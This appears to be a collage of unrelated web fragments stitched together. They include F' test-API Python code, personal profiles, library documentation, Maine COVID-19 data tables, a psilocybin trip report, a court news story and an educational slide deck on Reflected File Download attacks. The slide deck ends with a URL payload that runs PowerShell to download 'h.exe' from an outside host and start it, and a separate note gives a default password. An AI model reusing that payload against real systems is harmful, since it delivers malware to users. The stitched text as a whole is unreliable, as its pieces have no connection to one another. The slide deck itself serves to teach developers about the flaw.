"""
A file containing utilities for interacting with the Integration Test API
"""
import types
from typing import Any, Dict, List
from fprime_gds.common.data_types.ch_data import ChData
from fprime_gds.common.data_types.event_data import EventData
from fprime_gds.common.data_types.sys_data import SysData
from fprime_gds.common.pipeline.standard import StandardPipeline
from fprime_gds.common.templates.data_template import DataTemplate
from fprime_gds.common.testing_fw import predicates
from fprime_gds.common.testing_fw.api import IntegrationTestAPI
from fprime_gds.common.utils.config_manager import ConfigManager
[docs]def initialize_test_api(
app_dictionary_path: str,
log_path: str = None,
server_ip: str = "<IP_ADDRESS>",
server_port: int = 50050,
) -> IntegrationTestAPI:
"""
Initializes an Integration Test API instance for use.
Note that these MUST be manually disconnected when you're done using them,
by calling "pipeline.disconnect()" and "api.teardown()", respectively.
:param app_dictionary_path: A string path from the current working directory
to the "<project name>AppDictionary.xml" file for the project you're
using the API with
:param log_path: A string path to where files should be logged, or "None" if
you only want console output
:param server_ip: The IP of the GDS server you want to connect to
:param server_port: The port for the Test API on the GDS server
"""
pipeline = StandardPipeline()
pipeline.setup(ConfigManager(), app_dictionary_path, "/tmp")
pipeline.connect(server_ip, server_port)
# instantiate Test API (log_path of "None" will disable Test API logging)
api = IntegrationTestAPI(pipeline, log_path)
return (pipeline, api)
[docs]def get_upcoming_event(
test_api: IntegrationTestAPI,
search_filter: predicates.predicate,
start_time="NOW",
timeout: float = 5,
) -> EventData:
"""
Returns the next event matching the given search filter that occurs after
this is called. Times out after the given amount if no matching new events
are found.
:param test_api: An API instance that will be called to find the next event
:param search_filter: A predicate each found event is tested against; if
the event doesn't test "True" against this, we ignore it and keep
searching
:param start_time: An optional index or predicate to specify the earliest
event time to search for
:param timeout: The maximum time (in seconds) to wait for an event
:return: The first "EventData" found that passes the filter, or "None" if no
such event is found within time
"""
event_filter = predicates.satisfies_all(
[search_filter, predicates.event_predicate()]
)
# Test API only takes integer timeouts
return test_api.find_history_item(
event_filter, test_api.get_event_test_history(), start_time, int(timeout)
)
[docs]def get_upcoming_channel(
test_api: IntegrationTestAPI,
search_filter: predicates.predicate,
start_time="NOW",
timeout: float = 5,
) -> ChData:
"""
Returns the next telemetry update matching the given search filter that
occurs after this is called. Times out after the given amount if no
matching new updates are found.
:param test_api: An API instance that will be called to find the next update
:param search_filter: A predicate each found update is tested against; if
the item doesn't test "True" against this, we ignore it and keep
searching
:param start_time: An optional index or predicate to specify the earliest
update time to search for
:param timeout: The maximum time (in seconds) to wait for an update
:return: The first "ChData" found that passes the filter, or "None" if no
such update is found within time
"""
channel_filter = predicates.satisfies_all(
[search_filter, predicates.telemetry_predicate()]
)
# Test API only takes integer timeouts
return test_api.find_history_item(
channel_filter, test_api.get_telemetry_test_history(), start_time, int(timeout)
)
[docs]def get_item_list(
item_dictionary: Dict[Any, DataTemplate],
search_filter: predicates.predicate,
template_to_data: types.FunctionType,
) -> List[SysData]:
"""
Returns an ID-sorted list containing all the possible item types that could
occur on the running F' instance, and information about each one.
:param item_dictionary: A dictionary full of DataTemplate objects containing
the events you want to list
:param search_filter: A Test API predicate used to filter out which items
to include in the returned list
:param template_to_data: A callback function accepting a single DataTemplate
object and returning a SysData object
:return: An ID sorted list with all the items from the given dictionary
AFTER being filtered
"""
# Dictionary has DataTemplates by default, so convert them to SysData so
# filtering will work properly (several predicates assume SysData types)
event_data_list = list(
map(lambda x: template_to_data(x[1]), item_dictionary.items())
)
# Filter by using the given predicate on the event values
event_data_list = list(filter(search_filter, event_data_list))
event_data_list.sort(key=lambda x: x.get_id())
return event_data_list


User Name
Here is your user profile - a short description of where you're from and what you outdoor activities you enjoy in a maximum of XYX characters.
- Hosting 1
- Participating 2
- Wish List 4
Here is your user profile - a short description of where you're from and what you outdoor activities you enjoy in a maximum of XYX characters.


Shaughnessy Clay McDaniel
Unafffiliated
Middle School Social Studies Teacher, Morgan County School District RE-3
B.A.- History B.F.A - Film M.A. - History Post-Bac Certificate - Education Colorado Secondary Education License
80620
Donated $100 to the Bernie Sanders Primary Campaign in 2016.
Member of FMEA, CEA, NEA.
Participated in Black Lives Matter Protests in June. Teacher in a high poverty, high diversity district.
I believe that Gerrymandering is one of the greatest threats to our democracy and has stifled the voices of those who are most affected by poor districting. I'm not affiliated with any political party and am willing to work cooperatively with anyone as long as it's in the name of fair and equitable practices in our governmental system.
I was born in southeastern Colorado, lived most of my life in Greeley, work in Fort Morgan, but have also spent a significant amount of time in the Metro area as well. I have experienced many of Colorado's demographics first-hand and seen their concerns, commonalities, and their differences as well. I believe I have a deep understanding because of a deep interaction with a large cross-section of our community from farmers and rural workers to the underprivileged and the at-risk. I believe my knowledge of history comes with it approaches and strategies that will help build consensus and my work in history demonstrates an ability to look at facts objectively, rather than subjectively.
As a historian, statistics and demographic data are things I have interacted with and applied in my work, particularly in my graduate school papers. But I also understand there is a qualitative element to problems as well. Numbers tell us a large part of the story but especially when it comes to creating districts that serve a real cohesive population of the state, there is a qualitative element as well. Which communities feel tied to eachother, which ones seem further apart. These are all notions that need to be factored into the discussion. However, I do also believe in the power of numbers and want to draw numbers that allow voices to be heard proportionally and not get watered down in strange district lines.
Male


ASLAM O ALIKUM I AM MUHAMMAD ASLAM FROM MANSHERA PAKISTAN. WE DEAL'S IN ALL KIND OF PRENTING PRESS WORK.OUR SHOP IS IN MANSHERA.AND WE WORK IN HOLE OVER PAKISTAN. OUR ONLINE SERVICRS IS ALSO AVAILABLE. FOR MORE INFORMATION CONTACT ME ON. +923155527513 [MUHAMMAD ASLAM]


|
E-Glove
E-Glove is an input device for computers, to intuitivly control presentations
|
#include <M5Stack.h>
#include <Arduino.h>
#include "gestureRecognition.h"
#include "bleHandler.h"
#include "flexSensor.h"
#include "DisplayHandler.h"
Go to the source code of this file.
Classes | |
| class | StateMachine |
| Main class to simulate a statemachine and control the e-glove. More... | |
Enumerations | |
| enum | mode { laserpointer, browser, multimedia, presentation } |
| enum | functions { nextpage = 1, previouspage, startpresentation, endpresentation, nexttrack, previoustrack, playpause, volumeup, volumedown, browsernextpage, browserpreviouspage, scrollup, scrolldown } |
| enum functions |
Enum for the diffrent keyboard functionalities
| enum mode |


Deep expertise delivering both hybrid and native mobile solutions since the first generation of smartphones. From co-founding startups to helping larger companies derive real value from mobile solutions.
Deep expertise in big data developing large ElasticSearch, Kafka and Hadoop solutions featuring over 100TB of indexed data. Machine learning via both python math libraries as well as AWS machine learning solutions.
Helping companies form and execute on their technial strategy. From advising on how to move to the cloud to leveraging new technologies to drive their business I have defined and executed technical strategy in roles from senior developer to CTO.


--- layout: page title: About permalink: /about.html --- I'm a Full Stack Engineer and a Machine Learning enthusiast. I love everything about computer science, maths and physics. Currently playing with docker, chatbots and audrino.


------------DROOM------------
You need to enable JavaScript to run this app.
Droom
Matches
Home
Your Profile
Username:
Location:
Skills:
Experience:
Update Profile
Update
CTRL+V to toggle the panel


GIT Concepts
Concepts
How to make a repository?
There is gonna be something here.
How to make a commit in WebStorm?
There is gonna be something here.
How to make a branch?
There is gonna be something here.
How to merge one branch to another?
There is gonna be something here.


State your name
Your name is displayed on the upper right corner of every card you have created. "anonymous" is shown per default.
If you like to see your name there, you can enter it here.


Used to implement post-processing effects in three.js. The class manages a chain of post-processing passes to produce the final visual result. Post-processing passes are executed in order of their addition/insertion. The last pass is automatically rendered to screen.
[name] is an add-on, and must be imported explicitly. See [link:#manual/introduction/Installation Installation / Addons].
import { EffectComposer } from 'three/addons/postprocessing/EffectComposer.js';
[example:webgl_postprocessing postprocessing]
[example:webgl_postprocessing_advanced postprocessing advanced]
[example:webgl_postprocessing_backgrounds postprocessing backgrounds]
[example:webgl_postprocessing_crossfade postprocessing crossfade]
[example:webgl_postprocessing_dof postprocessing depth-of-field]
[example:webgl_postprocessing_dof2 postprocessing depth-of-field 2]
[example:webgl_postprocessing_fxaa postprocessing fxaa]
[example:webgl_postprocessing_glitch postprocessing glitch]
[example:webgl_postprocessing_godrays postprocessing godrays]
[example:webgl_postprocessing_masking postprocessing masking]
[example:webgl_postprocessing_outline postprocessing outline]
[example:webgl_postprocessing_pixel postprocessing pixelate]
[example:webgl_postprocessing_procedural postprocessing procedural]
[example:webgl_postprocessing_rgb_halftone postprocessing rgb halftone]
[example:webgl_postprocessing_sao postprocessing sao]
[example:webgl_postprocessing_smaa postprocessing smaa]
[example:webgl_postprocessing_sobel postprocessing sobel]
[example:webgl_postprocessing_ssaa postprocessing ssaa]
[example:webgl_postprocessing_ssao postprocessing ssao]
[example:webgl_postprocessing_taa postprocessing taa]
[example:webgl_postprocessing_unreal_bloom postprocessing unreal bloom]
[example:webgl_postprocessing_unreal_bloom_selective postprocessing unreal bloom selective]
[page:WebGLRenderer renderer] -- The renderer used to render the scene.
[page:WebGLRenderTarget renderTarget] -- (optional) A preconfigured render target internally used by [name].
An array representing the (ordered) chain of post-processing passes.
A reference to the internal read buffer. Passes usually read the previous render result from this buffer.
A reference to the internal renderer.
Whether the final pass is rendered to the screen (default framebuffer) or not.
A reference to the internal write buffer. Passes usually write their result into this buffer.
pass -- The pass to add to the pass chain.
Adds the given pass to the pass chain.
Frees the GPU-related resources allocated by this instance. Call this method whenever this instance is no longer used in your app.
pass -- The pass to insert into the pass chain.
index -- Defines the position in the pass chain where the pass should be inserted.
Inserts the given pass into the pass chain at the given index.
passIndex -- The pass to check.
Returns true if the pass for the given index is the last enabled pass in the pass chain.
Used by [name] to determine when a pass should be rendered to screen.
pass -- The pass to remove from the pass chain.
Removes the given pass from the pass chain.
deltaTime -- The delta time value.
Executes all enabled post-processing passes in order to produce the final frame.
[page:WebGLRenderTarget renderTarget] -- (optional) A preconfigured render target internally used by [name]..
Resets the internal state of the [name].
pixelRatio -- The device pixel ratio.
Sets device pixel ratio. This is usually used for HiDPI device to prevent blurring output.
Thus, the semantic of the method is similar to [page:WebGLRenderer.setPixelRatio]().
width -- The width of the [name].
height -- The height of the [name].
Resizes the internal render buffers and passes to (width, height) with device pixel ratio taken into account.
Thus, the semantic of the method is similar to [page:WebGLRenderer.setSize]().
Swaps the internal read/write buffers.
[link:https://github.com/mrdoob/three.js/blob/master/examples/jsm/postprocessing/EffectComposer.js examples/jsm/postprocessing/EffectComposer.js]


DHHS → MeCDC → Disease Surveillance → Epidemiology → Airborne and Direct Contact Diseases → Coronavirus → Maine Data
COVID-19: Maine Data
Maine CDC updates data daily at 9:30 AM with COVID-19 case investigation data included as of 11:59 PM the previous day. All data are preliminary and may change as Maine CDC investigates cases.For more information about the data, please see the "Read Details About the Data" section below.
Cumulative COVID-19 Cases by County
COVID-19 Case Trends
Maine COVID-19 Reopening Gating Metrics
Cumulative COVID-19 Cases by ZIP Code
Tables of COVID-19 Testing Data, Hospital Use, and Case Demographics
View a Table of All Reported COVID-19 Tests in Maine
| All Reported COVID-19 Tests in Maine | |||
|---|---|---|---|
| Result | Antibody |
Molecular Testing |
Total |
| Positive | 307 |
3,645 |
3,952 |
| Negative | 6,470 |
77,942 |
84,412 |
| Indeterminate | 8 |
120 |
128 |
| Total | 6,785 |
81,707 |
88,492 |
| Results from Labs Reporting Electronically (Used for Percent Positivity Calculations)* | |||
|---|---|---|---|
| Result | Antibody |
Molecular Testing |
Total |
| Positive | 223 |
3,427 |
3,650 |
| Negative | 6,465 |
77,926 |
84,391 |
| Indeterminate | 8 |
119 |
127 |
| Total | 6,696 |
81,472 |
88,168 |
| Percent Positive | 3.33 |
4.21 |
4.14 |
*Not all labs report results to the Maine CDC electronically. Labs reporting manually report only the positive results and are therefore excluded for purposes of calculating the percent positivity rate.
Molecular testing includes PCR, isothermal, and NAAT methods.
Updated June 23, 2020 at 12:30 PM
View a Table of Maine COVID-19 Current Hospital Use and Capacity Data
| Hospitalized: Confirmed Cases | |
|---|---|
| Total Hospitalized | 24 |
| In Critical Care | 12 |
| On a Ventilator | 6 |
| Capacity | |
|---|---|
| Available Critical Care Beds | 140 |
| Total Critical Care Beds | 387 |
| Available Ventilators | 254 |
| Total Ventilators | 318 |
| Alternative Ventilators | 438 |
Updated June 23, 2020 at 12:30 PM
View a Table of Cumulative COVID-19 Cases by Age
View a Table of Cumulative COVID-19 Cases by Race and Ethnicity
View a Table of Cumulative COVID-19 Cases by Sex
Read Details About the Data
When are Data Updated? Data are updated daily between 11:30 AM and 12:30 PM with COVID-19 results included as of 11:59 PM the previous day.
Who is Included in the Data? Data are about individuals who claim residency in Maine regardless of what state they were tested in, or where they are currently living. For example, an individual who claims residency in Maine but lives in Florida will appear in this data even if they were living in Florida at the time of illness. County listings are by residence of patient, not location of the hospital or testing location.
What are Confirmed Cases? This represents the number of persons tested with a SARS CoV-2 PCR test result from any approved lab.
What are Probable Cases? There are two instances in which someone can meet the probable case definition:
- A close contact identified through an epidemiological investigation of a confirmed case becomes symptomatic OR
- An individual has a positive SARS-CoV-2 serology test AND
- Is a close contact of a confirmed case (as identified through an epidemiological investigation) OR
- Is symptomatic with:
- A cough and/or shortness of breath or difficulty breathing OR
- At least two of the following symptoms:
- Fever
- Chills
- Repeated shaking with chills
- Muscle pain
- Headache
- Sore throat
- New loss of taste or smell
What are Recovered Cases? Recovered means a person has met the released from isolation requirements defined by Federal CDC. The requirements are: at least 3 days (72 hours) have passed since recovery, defined as resolution of fever without the use of fever-reducing medications and improvement in respiratory symptoms (e.g., cough, shortness of breath); and, at least 10 days have passed since symptoms first appeared.
What are Other Cases? Other Cases is the number of cases left over after removing recovered and deaths from the cumulative total.
What is an Indeterminate Test? Indeterminate means that the test did not provide a clear negative or positive result.
What is Included in Deaths?A COVID-19 associated death is defined as a death resulting from an illness that is clinically compatible with COVID-19 that is confirmed by an appropriate laboratory test. There should be no period of complete recovery between the illness and death. It is not necessary that COVID-19 be the primary cause of death.
What Categories are Mutually Exclusive? The only categories that are mutually exclusive are Deaths and Recovered. Deaths are counted both in Cumulative Confirmed/Probable Cases and Deaths. Hospitalizations are counted in the Cumulative Confirmed/Probable and may also be counted in Deaths or Recovered depending on the outcome of the individual.
What are Some Limitations? Confirmed data represent only those individuals with positive test results, which likely under-represents the true number of cases in Maine. For individuals not considered to be at high risk, medical providers were advised to diagnose COVID-19 based on symptoms prior to May 18, 2020. Those diagnoses are not reported. All data are preliminary and may change as Maine CDC investigates confirmed cases.


Selected report filter should translate HID reports to/from the selected device and BT HID Hub Bluetooth device according to its HID descriptor. Default filter passes HID messages as is (should be good for most pretty standard keyboards). For some devices OS may create several HID Raw devices, e.g. one for standard and another one for fancy keys. If Default filter does not work and there is not specific filter for your keyboard, then you may want to develop a device-specific filter (most flexible, but requires some work) or use your keyboard in compatibility mode (see below).
If none of the existing filters work for your keyboard and you do not want to create your own filter, you can set your keyboard to work in a compatibility mode. In this mode BT HID Hub will capture the keyboard events via EVDEV after they are processed by OS and will create a virtual HID Raw keyboard as a destination for those events. This virtual HID Raw keyboard will appear in the HID Devices table above, where you should turn on capture and apply a default (or remapping) filter. If OS creates several input devices for your one physical device, you may need to set all these input devices to work in compatibility mode.
Such compatibility mode is less flexible as working with HID Raw devices, as some vendor-specific key (e.g. fn button) may only be captured before OS processing (HID RAW), not after (via EVDEV).
(*) Default password is 'raspberry'


Config Class
The Config class handles nearly all configuration options in Fuel. You use this class whenever you need to load in a config file, get a value or set a value.
Config File Types
You can use different file layouts to store your configuration. The layout type is determined by the file extension:
-
PHP. The default type. A PHP file should return an array structure.
return array('key' => 'value');
-
INI. See this page for a definition of the ini-file layout.
[group]
key=value
-
YAML. See this page for a definition of the yaml-file layout.
group:
key: value
-
JSON. See this page for a definition of the json-file layout.
{
"group" :
{
"key": "value"
}
}
-
MEMCACHED. Stores or retrieves the config from a Memcached or Memcachedb store.
It will use the config.memcached section of the app/config/config.php
configuration
file to configure the memcached class used to connect to the store.
-
DB. Use the following table structure:
CREATE TABLE IF NOT EXISTS `config` (
`identifier` char(100) NOT NULL,
`config` longtext NOT NULL,
`hash` char(13) NOT NULL,
PRIMARY KEY (`identifier`)
)
By default it will use the table name 'config', in the default database. You can override this by defining your
database and table name in app/config/config.php
, using the config.database
and config.table_name key.
If you don't specify a file type, Config::load() will default to the 'php' type.
If you have more complex configuration values, you can opt to define them as a closure. By default, the closure is returned when you get() the config
key, and evaluated at runtime, either by you calling it as a function, or wrapping it into Fuel::value() to get the closures result.
If you don't want this behavior, but cache and re-use the result (for example because your closure always returns the same result), you have to wrap the
closure into Fuel::value() in your config file where you define the closure.
The same is true if you want to pass a closure to the set() method. If you want to store the closures result and not the closure itself, you have
to wrap the closure into Fuel::value() when passing it to the set() method.
Note that you can only define closures in config files of type "php".
Config Groups
A config group is simply a way to scope config options. This avoids naming collisions. All config files (db.php, routes.php, etc.) are loaded into groups of the same name, with the exception of the main config.php file.
Methods
get($item, $default = null)
The get method returns the desired config item. If the item does not exist then $default is returned. If the item you are retrieving is a group, then the entire group is returned.
| Static |
Yes |
| Parameters |
| Param |
Default |
Description |
| $item |
required |
The name of the item to retrieve. Groups and multi-dimensional arrays can be accessed by separating the levels by a dot (.) |
| $default |
null |
(Optional) The default value to return if $item is not found. |
|
| Returns |
Either $item, or $default if $item does not exist. If $item is a group than an array containing the entire group. |
| Example |
// Outputs the current language set in config.php
echo Config::get('language');
// By default a non-existent item will return null
if (Config::get('items_to_display') === null)
{
throw new Exception('You must set the number of items to display in config.php');
}
// You can set a default for non-existent items as well
$items_to_display = Config::get('items_to_display', 10);
// This will load in the entire db group, which is the contents of config/db.php
$db_configs = Config::get('db');
// This will get which db connection is set to 'active' in the db config
$active_db = Config::get('db.active');
// You can go multiple levels deep as well.
// This will fetch the hostname of the 'dev' db group
$dev_host = Config::get('db.dev.connection.hostname');
|
set($item, $value)
The set method Sets a given $item to $value. $item can be dot (.) separated, just like get().
| Static |
Yes |
| Parameters |
| Param |
Default |
Description |
| $item |
required |
The name of the item to set. Groups and multi-dimensional arrays can be set by separating the levels by a dot (.). If $item does not exist it will be created. |
| $value |
required |
The value to set $item to. |
|
| Returns |
This method always returns true. |
| Example |
// Sets the current language
Config::set('language', 'en');
// Sets the active db connection
Config::set('db.active', 'test');
// This sets a custom value that you can use later
Config::set('items_to_display', 5);
// You can also use dots to create custom groups and items
Config::set('blog.items_to_display', 5);
|
delete($item)
The delete method removes a given $item. $item can be dot (.) separated, just like set() and get() .
| Static |
Yes |
| Parameters |
| Param |
Default |
Description |
| $item |
required |
The name of the item to delete. |
|
| Returns |
void |
| Example |
// Remove a configuration item using dot notation
Config::delete('blog.items_to_display');
|
load($file, $group = null, $reload = false, $overwrite = false)
The load method reads in a config file into the system. It searches through the config directories for the requested file. You can optionally group the config files to avoid naming collisions.
| Static |
Yes |
| Parameters |
| Param |
Default |
Description |
| $file |
required |
The path to the config file, relative to the config directory. Do not include the file extension (".php" is assumed). You can prefix this with a module name to force loading a config file from a loaded module. |
| $group |
null |
(Optional) A group name to use. If set to true then a group of the same name as $file will be created. If this is not set or is null then the loaded config will be merged with the root config. |
| $reload |
false |
(Optional) If set to true a reload of the requested configuration is forced, erasing cached configuration items related to the config file to be loaded. |
| $overwrite |
false |
(Optional) If set to true the loaded configuration items will be merged with the items already loaded in a non-recursive manner, with will overwrite array values in a multidimensional array, rather then merging them. |
|
| Returns |
An array containing the configuration that has been loaded. If the config file has already been loaded then it will return false |
| Example |
// This merges the "custom" config file in with the root config.
Config::load('custom');
// This loads the "custom" config file in a group named "custom".
Config::load('custom', true);
// This loads the "custom.ini" config file in a group named "custom".
Config::load('custom.ini', true);
// This loads the "custom" config file in a group named "foo".
Config::load('custom', 'foo');
// This loads the "custom" config from a module called foo in a group named "bar"
Config::load('foo::custom', 'bar');
|
save($file, $config)
The save method saves a config file into the system. It searches through the config directories for the requested file. If no existing file is found, the config file is created in the APPPATH config directory.
| Static |
Yes |
| Parameters |
| Param |
Default |
Description |
| $file |
required |
The path to the config file, relative to the config directory. Do not include the file extension (".php" is assumed). You can prefix this with a namespace to load a config file from a loaded package or module. |
| $config |
required |
If this is a string, it specifies a group name to save. If it is an array, it is assumed to contain the configuration to be saved. |
|
| Returns |
true if the config was saved, false if an error occurred |
| Example |
// This loads the "custom" config file in a group named "foo".
Config::load('custom', 'foo');
// update some config item
Config::set('foo.key', $value);
// save the updated config group 'foo' (note: it will save everything in that group!)
Config::save('custom', 'foo');
// save the updated config group 'bar' to config file 'custom' in the module 'foo'
Config::save('foo::custom', 'bar');
// save the updated config group 'bar' to memcached using the identifier 'custom'
Config::save('custom.memcached', 'bar');
|


/*
Copyright 2016 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* The default cache name, used by
* {@link module:workbox-runtime-caching.RequestWrapper|RequestWrapper} when
* there's no name provided.
*
* It combines a constant prefix with the service worker `scope`, ensuring
* that multiple service workers used on the same origin will have
* different default caches.
*
* Calling this method without any parameters will return
* `workbox-runtime-caching-<service worker scope>`.
*
* If you pass in a cacheId, it will be prepended, returning:
* `<cacheid>-workbox-runtime-caching-<service worker scope>`.
*
* @param {Object} input
* @param {string} [input.cacheId] This will be prepended to the default cache
* name.
* @return {string} Returns the default cache name used based on optional
* inputs.
*
* @memberof module:workbox-runtime-caching
*/
const getDefaultCacheName = ({cacheId} = {}) => {
let cacheName = `workbox-runtime-caching`;
if (cacheId) {
cacheName = `${cacheId}-${cacheName}`;
}
if (self && self.registration) {
cacheName += `-${self.registration.scope}`;
}
return cacheName;
};
/**
* A list of the callback method names that the RequestWrapper might trigger.
*
* @private
* @type {Array.<string>}
* @memberof module:workbox-runtime-caching
*/
const pluginCallbacks = [
'cacheDidUpdate',
'cachedResponseWillBeUsed',
'cacheWillUpdate',
'fetchDidFail',
'requestWillFetch',
];
export {
getDefaultCacheName,
pluginCallbacks,
};


I had been in the woods all day, it was a pretty cold day, and I'd been working on a shelter I was building by myself all day. I decided to eat the mushrooms at the end of the day, as I was sleeping in the woods that night. I know them very well. I went up to a lookout to watch the sun set over my town and eat my mushrooms. I sat there for a while, all the time anticipating the start of my experience if there was to be one. It pretty much all started when I stood up from meditating over the view. I had not noticed very much up to that point, the lights looked a little brighter, but I couldn't feel anything strong.
When I got up, it all came as a rush. I started seeing patterns in everything, and I felt strange, but not like a 'high.' Anyways, the anxiety all started when I couldn't stop thoughts from rushing through my head, and I felt like I couldn't control a single thought, like the floodgates were open and there was nothing I could do. The problem with this free thought was the fact that for some reason I couldn't cull, from the rushing multitude of thoughts, the directions back to camp. I knew that they were in my mind, but when I tried to stop and think of the specific way, it seemed like the thought would just get washed away as soon as I thought I had anchored it, when I went searching for the succeeding part of my journey. So I started walking.
As I was walking, my anxiety grew even greater, as I couldn't tell myself where to go next, so I kept walking. Every once in a while, I would stop and lie down, and tell myself to THINK, but all it would do is get me more anxious, growing to the point of fear. This is one of the most unusual parts, because, after my own house, I consider the woods the place I am the most comfortable. This is why I chose the forest as the setting for my trip. I found my camp, and looking back, I did take a relatively direct route there. At any one time, I could tell you exactly where I was at the time. I could not, however, for the life of me, tell you where to go to get to my shelter.
Instead of thinking to get there, I just walked where I felt I was supposed to go. This is one of the strongest effects mushrooms have on me, is the buddhist concept of mindfulness, the ability to remain in the moment, right where you are, not looking down the road or thinking back. At that moment I could have argued that I needed a little western thought to get me from point a to point b, but it turned out, that all I needed to do was relax and trust myself.
After returning to my shelter, I dove into my sleeping bag, and proceeded to have a very enjoyable time, mixed with some intense periods of reflection about my experience. I have learned to trust myself more, that thoughts, however seemingly helpful or satisfying, are ultimately ephemeral. Being grounded in the moment and doing what feels right deep inside, even if it is inexplicable at the moment, is what will lead me through difficult times.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


IN THE DOCK
East Kilbride schoolgirl was on her mobile phone as driver went through red light and killed her
by Wilma RileyA WOMAN motorist told a jury she saw a young girl thrown into the air when a car hit her.
Kieran Kennedy, 20, from Chapelton, Lanarkshire, who was on the outside lane of the Kingsway, East Kilbride, struck the schoolgirl one second after the traffic lights changed from amber to red.
He denies causing death of schoolgirl Megan Scott by dangerous driving. at the A749 Kingsway, East Kilbride, on October 18, 2017.
Karen Hurton , 52, was sitting in the inside lane in stationary traffic at the pedestrian crossing at the Kingsway in East Kilbride.
She told the court a girl crossed the road in front of her.
She told prosecutor Chris McKenna: "The girl began to cross the road. She was on her phone."
Mrs Hurton claimed the lights were at red and added:: "She was thrown in the air forwards. She hit a bus and dropped to the ground."
"I saw the car as the girl passed me. It came up the outside lane and hit her."
The jury at the High Court in Glasgow was shown video footage of the incident which took place at 5.46pm .
Traffic cop Gavin Malloy, who has 17 years service, told the court he was at the scene within minutes.
He was asked by prosecutor Chris McKenna what condition the Sirocco was in and said: “It was collision damaged. The front light unit was smashed, there was bent on the bonnet and the windscreen was smashed.”
The court heard that the police officer collected CCTV footage from buses, an ambulance, a nearby McDonald's and a Premier Inn.
Constable Malloy said: “The light was red when he went through the traffic light. A pedestrian comes into view and is struck on the crossing.'
He was then asked by Mr McKenna: “Did he brake when the lights were at amber,” and the police officer replied: “No.”
Defence QC John Scullion asked Constable Malloy if Megan appeared to be holding something to the right hand side of her face and he said: “It appears to be a mobile phone.”
Mr Scullion then asked: “The car driven by Kieran Kennedy struck Megan Scott one second after the lights changed from amber to red is that correct,” and he said: “Yes.”
The QC said: Megan Scott does not appear to look right or react in any way to cars travelling in lane two,” and Constable Malloy said: “No.”
Mr Scullion went on: “At the point when she was struck by the car the light for pedestrians was still at red,” and the policeman replied: “Yes.”
The defence QC then said: “The light for pedestrians changed to green around five seconds after she entered the roadway and four seconds after she had been hit by the car,” and Constable Malloy replied: “Yes.”
Mr Scullion added: “The CCTV footage shows that the brake lights on the Volkswagen went on when the lights turned to red and one second later his car collided with Megan Scott causing her death,” and the police officer replied: “Yes.”
Constable Malloy agreed with the defence QC that because Megan appeared to be on her phone her view of traffic coming from the right might potentially have been blocked.
The trial before Lord Armstrong continues.


Company Name: Instant Tutoring
Company Address: 380 William St, Melbourne VIC 3000
Email:
Phone:
Fax:
Founded in 2018 by the PY Team, our establishment has been serving up ....


| 1st and Pike |
SeaTac Airport |
| Our flagship location has all of the Pike's Place vibe! This shop is a favorite among locals and tourists alike. Come and watch our world famous Salmon Cookie tossers! |
Whether you're coming or going, make sure you visit our special airport location with a fully stocked gift shop. |
| Seattle Center |
Capitol Hill |
| Our flagship location has all of the Pike's Place vibe! This shop is a favorite among locals and tourists alike. Come and watch our world famous fish cookie tossers! |
Whether you're coming or going, make sure you visit our special airport location with a fully stocked gift shop. |
| Alki |
More Coming |
| Our flagship location has all of the Pike's Place vibe! This shop is a favorite among locals and tourists alike. Come and watch our world famous fish cookie tossers! |
We have new locations in the works! Check back often for more details! |


class: center, middle # Web Application Insecurity ## Outside the OWASP top 10 ??? If you're not already familiar with the OWASP project, it's a great resource on security issues you should be aware of as a developer, wherever you operate in the 'stack'. We're going to talk about a newer web security issue, presented first in November 2014, but worth covering because it's fun to understand how it works and to see how easy it is to fall prey to - and to fix. --- class: center, middle # Search page ![Image](images/search.png) ??? We have decided to build an advertising company, which will do no evil. --- class: center, middle # AJAX search in action ![Image](images/search-r.png) ??? There's a new Web 2.0 technique around, called AJAX, where you can call back to your server without a whole page refresh. --- # Javascript ```javascript $.getJSON("/s/q/" + q, function(data) { $("#results").empty(); if (data.people.length == 0) { $("#results").append("
Nothing found
"); } else { $.each(data.people, function(i,item){ $("#results").append("
" + item + "
"); }); } } ); ``` --- # MVC Controller ```ruby require 'json' class SController < Controller set_layout nil def q(query) response.header['Content-Type'] = 'application/json;' # Defeat XSS (Malicious user upload displayed as if part of web page) response.header['Content-Disposition'] = 'attachment' { q: query, people: find(query) }.to_json end private def find(query) ["Rik Hemsley", "Steven Pears", "Jamie Keeling", "Jordan Gray"].select { |name| name.upcase.include?(query.upcase) } end end ``` --- class: center, middle # XSS from a download? ## [Oh yes](http://stackoverflow.com/questions/3922872/how-can-xss-be-avoided-in-html-downloads) ## (Oh no!) --- # Response ```javascript { q: "r", people: ["Rik Hemsley", "Steven Pears", "Jordan Gray"] } ``` --- # Response headers ```http Content-Type: application/json; Content-Length: 63 Content-Disposition: attachment ``` --- # What if we browse to it? ![Image](images/download.png) -- ```javascript {"q":"r", "people":["Rik Hemsley","Steven Pears","Jordan Gray"]} ``` --- # But can we run it? ![Image](images/bat.png) --- # And this will work how? -- ``` C:\>{"q":"r", "people":["rik hemsley","steven pears","jordan gray"]} The filename, directory name, or volume label syntax is incorrect. ``` -- ## We don't need all of it ``` C:\>{"q":"r" The filename, directory name, or volume label syntax is incorrect. ``` --- # What about a command? ``` C:\>{"q":"echo hi" The filename, directory name, or volume label syntax is incorrect. ``` -- ## But we had an effect ``` C:\>echo %ERRORLEVEL% 9009 ``` --- class: center, middle # Happy 200th, George Boole! ![Image](images/boole.jpg) --- # And thanks for this ``` C:\>{"q":""||echo hi '{"q":""' is not recognized as an internal or external command, operable program or batch file. hi ``` -- ``` C:\>{"q":""||echo hi||", "people":["rik hemsley","steven pears","jordan gray"]} '{"q":""' is not recognized as an internal or external command, operable program or batch file. hi ``` --- class: center, middle # So we can be naughty https://legit.com/s/q/%22%7C%7CPowerShell%20(New-Object%20System.Net.WebClient).DownloadFile('http://dod.gy/h','h.exe');Start-Process%20'h.exe'%7C%7C ![Image](images/legit-update.png) --- class: center, middle # FIN


In this tutorial you will see how to use some of the administrative functions available in DB2.
DB2 lets you call CLP-based administration commands via the SQL using the ADMIN_CMD() stored procedure. You can invoke the following commands using this stored procedure:


My Internship Experience at IOV
